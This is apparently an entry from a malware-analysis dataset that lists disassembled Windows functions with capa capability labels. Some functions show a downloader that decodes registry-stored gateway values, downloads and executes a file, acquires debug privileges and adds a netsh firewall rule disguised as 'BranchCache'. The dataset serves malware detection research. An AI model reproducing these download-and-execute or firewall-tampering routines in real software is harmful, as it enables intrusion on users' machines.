joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40121c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
lea eax, [ebp - 4]
push eax
push 0xf003f
xor esi, esi
push esi
push str.SOFTWARENetWorkProNT32
push 0x80000002
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40131c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push str.IP_Value
push dword [ebp - 4]
mov dword [ebp - 0x14], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x10], 4
call esi
test eax, eax
jne 0x40131c
push edi
lea eax, [ebp - 8]
push eax
mov edi, 0x404160
push edi
push 0
push 0
push str.GATEWAY1_Value
push dword [ebp - 4]
mov dword [ebp - 8], 0x104
call esi
test eax, eax
jne 0x4012c8
push edi
call sub.MSVCR90.dll_strlen
pop ecx
xor ecx, ecx
mov dword [ebp - 0xc], eax
test eax, eax
jle 0x4012c1
mov eax, ecx
push 3
cdq
pop edi
idiv edi
add dl, 2
add byte [ecx + 0x404160], dl
inc ecx
cmp ecx, dword [ebp - 0xc]
jl 0x4012aa
mov dword [ebp - 0xc], 1
lea eax, [ebp - 8]
push eax
mov edi, 0x404268
push edi
push 0
push 0
push str.GATEWAY2_Value
push dword [ebp - 4]
mov dword [ebp - 8], 0x104
call esi
test eax, eax
jne 0x40131b
push edi
call sub.MSVCR90.dll_strlen
pop ecx
xor ecx, ecx
test eax, eax
jle 0x401314
mov edx, ecx
and edx, 0x80000001
jns 0x401307
dec edx
or edx, 0xfffffffe
inc edx
inc dl
add byte [ecx + 0x404268], dl
inc ecx
cmp ecx, eax
jl 0x4012f8
mov dword [ebp - 0xc], 1
pop edi
cmp dword [ebp - 4], 0
pop esi
je 0x40132c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x401331
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x401362
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x3e8
jl 0x40133d
jmp 0x401395
push dword [ebp + 0xc]
call fcn.00401000
xor ebx, ebx
pop ecx
cmp eax, 0x1f40
jbe 0x40138c
inc ebx
call fcn.0040186b
push esi
push esi
push esi
push dword [ebp + 0xc]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret
Function at 0x4015e7
Capabilities:
Acquire debug privileges

Disassembly:
push 1
push str.SeDebugPrivilege
call fcn.0040103e
pop ecx
pop ecx
call fcn.0040139c
call fcn.004010bf
xor eax, eax
ret 0x10

Function at 0x401604
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x1bc]
sub esp, 0x23c
mov eax, dword [0x404140]
xor eax, ebp
mov dword [ebp + 0x1b8], eax
mov eax, dword [ebp + 0x1c8]
and dword [ebp - 0x78], 0
push ebx
mov ebx, dword [ebp + 0x1c4]
push esi
push edi
push 0
push 0xf
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x74], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x74]
push ecx
push eax
mov dword [ebp - 0x7c], eax
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x50]
push eax
call sub.MSVCR90.dll_strlen
xor esi, esi
pop ecx
test eax, eax
jle 0x40167c
lea edx, [ebp + esi - 0x50]
mov cl, byte [edx]
cmp cl, 0x41
jl 0x401677
cmp cl, 0x5f
jg 0x401677
add cl, 0x20
mov byte [edx], cl
inc esi
cmp esi, eax
jl 0x401662
lea eax, [ebp - 0x50]
push ebx
push eax
call sub.MSVCR90.dll_strcmp
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
pop ecx
test eax, eax
je 0x4016a4
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401652
jmp 0x401703
push dword [ebp - 0x6c]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x4016fc
mov esi, 0x104
push esi
lea eax, [ebp + 0xb4]
push 0
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xb4]
push eax
push 0
push ebx
mov dword [ebp - 0x78], esi
call dword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
lea eax, [ebp + 0xb4]
push eax
push dword [ebp - 0x80]
call sub.MSVCR90.dll_strcpy
pop ecx
pop ecx
push ebx
call edi
mov dword [ebp - 0x78], 1
push dword [ebp - 0x7c]
call edi
mov ecx, dword [ebp + 0x1b8]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004019cc
add ebp, 0x1bc
leave
ret
Function at 0x401723
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0xf013f
xor ebx, ebx
push ebx
mov edi, str.SOFTWARENetWorkProNT32
push edi
mov esi, 0x80000002
push esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401781
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push dword [0x40413c]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40179e
mov dword [ebp - 0xc], 1
jmp 0x4017bd
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20106
push ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4017bd
push 4
lea eax, [ebp - 8]
push eax
push 4
push ebx
push dword [0x40413c]
mov dword [ebp - 8], 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x4017ce
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4017d3
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x404140]
xor eax, ebp
mov dword [ebp + 0x84], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x7f]
push ebx
push eax
mov byte [ebp - 0x80], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.00401723
test eax, eax
je 0x401813
xor eax, eax
jmp 0x401855
push 0x104
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x80]
push str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x80]
push eax
push str.cmd.exe
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x84]
xor ecx, ebp
pop ebx
call fcn.004019cc
add ebp, 0x88
leave
ret
Function at 0x40186b
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x404140]
xor eax, ebp
mov dword [ebp + 0x94], eax
push ebx
push esi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x6f]
push ebx
push eax
mov dword [ebp - 0x7c], ebx
mov byte [ebp - 0x70], bl
call sub.MSVCR90.dll_memset
mov esi, 0x404370
push esi
push str.asdsvc.exe
mov dword [ebp - 0x80], 4
mov dword [ebp - 0x78], ebx
call fcn.00401604
add esp, 0x14
test eax, eax
je 0x401985
call fcn.004017d3
lea eax, [ebp - 0x74]
push eax
push 0xf013f
push ebx
push str.SOFTWARENetWorkProNT32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401974
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push dword [0x40413c]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40190e
cmp dword [ebp - 0x78], 2
je 0x401974
push 0x104
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCR90.dll_memset
push esi
lea eax, [ebp - 0x70]
push str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
push str.cmd.exe
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 4
lea eax, [ebp - 0x78]
push eax
push 4
push ebx
push dword [0x40413c]
mov dword [ebp - 0x78], 2
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x7c], 1
cmp dword [ebp - 0x74], ebx
je 0x401982
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp + 0x94]
pop esi
xor ecx, ebp
pop ebx
call fcn.004019cc
add ebp, 0x98
leave
ret

Function at 0x4019cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404140]
jne 0x4019d6
repz ret
jmp fcn.00401cf7
Function at 0x4032dc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404c30
test esi, esi
jne 0x403312
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404d20
jmp 0x403330
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403180
mov edi, eax
test esi, esi
je 0x403330
cmp dword [ebx], 0
je 0x403330
dec esi
jmp 0x403319
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403aa8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4e4020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403b40
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403b20
xor eax, eax
push ebp
push 0x403b19
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403b5c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403b20
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x4e4020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4e4020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4049dc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4e804c], 0
je 0x404a3d
cmp word [0x4e8220], 0xd7b2
jne 0x404a05
cmp dword [0x4e8228], 0
jbe 0x404a05
mov eax, 0x4e821c
call dword [0x4e8238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404a64
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4e402c], 0
jne 0x404a59
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404bb4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x4e4030], 0
je 0x404bda
mov edx, esi
mov eax, ebx
call dword [0x4e4030]
jmp 0x404be9
mov eax, 8
call fcn.00402e90
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x4e804d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404b7c
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x406644
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406874
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4066c7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406874
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4066c7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406890
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x406750
xor eax, eax
push ebp
push 0x406749
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406480
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40672e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4068b0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40672e
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406750
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40686a
cmp byte [ebp - 0xd], 0
jne 0x406797
cmp byte [ebp - 0x12], 0
je 0x40686a
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4067b0
dec ebx
cmp byte [ebx], 0x2e
je 0x4067bf
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4067af
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40686a
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4067fc
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40686a
cmp byte [ebp - 0xd], 0
je 0x40686a
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40686a
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409458
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4094aa
test eax, edx
je 0x4094ad
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x40946d
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x409493
add ecx, 4
js 0x409483
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x409490
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x4094b9
test edx, edx
jne 0x409460
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40a1d4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.004050dc
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40a1f2
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x40a213
cmp ebx, 3
je 0x40a213
cmp ebx, 0x7b
je 0x40a213
mov eax, esi
call fcn.0040a194
test al, al
jne 0x40a217
xor eax, eax
jmp 0x40a219
mov al, 1
pop esi
pop ebx
ret

Function at 0x40a21c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004050dc
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40a235
test al, 0x10
jne 0x40a239
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40d508
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d541
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404d20
jmp 0x40d54a
mov eax, ebx
mov edx, esi
call fcn.00404c84
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40d554
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d576
movzx eax, byte [esp]
jmp 0x40d578
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40dc08
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40da80
mov eax, dword [0x4e70c8]
cmp byte [eax], 0
je 0x40dc84
mov eax, dword [0x4e6e34]
call fcn.00403404
call fcn.00402fec
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040a5c0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40dccc
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40dcba
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4e6dcc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4ea7f8]
call fcn.00406428
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40e58c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40e662
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404cc8
lea eax, [ebp - 4]
call fcn.00405134
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004050dc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40e64c
mov eax, ebx
call fcn.00402e90
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40e645
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004050dc
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40e62f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40e674
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40e62f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e64c
mov eax, dword [ebp - 0x10]
call fcn.00402eac
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e669
lea eax, [ebp - 4]
call fcn.00404c30
ret

Function at 0x424b38
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.00424804
dec esi
jne 0x424b5a
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x425ccc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4ec9f0
cmp dword [edi], 0
jne 0x425d48
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4ec9ec]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4e4bb0
mov ecx, 2
call fcn.00403080
mov edx, 0x425ca4
lea eax, [esi + 5]
call fcn.00425cc4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00425cc4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x425d1d
mov dword [0x4ec9ec], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x428dc4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
movzx eax, byte [ebp + 8]
call fcn.004287cc
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.004050dc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x428e23
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4e6f94]
mov dl, 1
mov eax, dword [0x428658]
call fcn.0040ddc8
call fcn.00404564
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x428e2c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.004050dc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x428e84
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4e7240]
mov dl, 1
mov eax, dword [0x428658]
call fcn.0040ddc8
call fcn.00404564
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004287fc
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x42a21c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42a222
ret
Function at 0x43ab88
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004050cc
xor eax, eax
push ebp
push 0x43acbd
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x43ac90
xor edx, edx
push ebp
push 0x43ac89
push dword fs:[edx]
mov dword fs:[edx], esp
mov ebx, dword [ebp - 4]
mov eax, ebx
test eax, eax
je 0x43abd5
sub eax, 4
mov eax, dword [eax]
inc eax
push eax
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x43ac5e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov esi, eax
xor eax, eax
push ebp
push 0x43ac4d
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x43ac14
sub ebx, 4
mov ebx, dword [ebx]
mov eax, dword [ebp - 4]
call fcn.004050dc
lea ecx, [ebx + 1]
mov edx, esi
call fcn.00403080
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 8]
push eax
push 1
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ac54
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret
mov ecx, dword [0x4e6d50]
mov dl, 1
mov eax, dword [0x4085c4]
call fcn.0040dd8c
call fcn.00404564
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43acc4
lea eax, [ebp - 4]
call fcn.00404c30
ret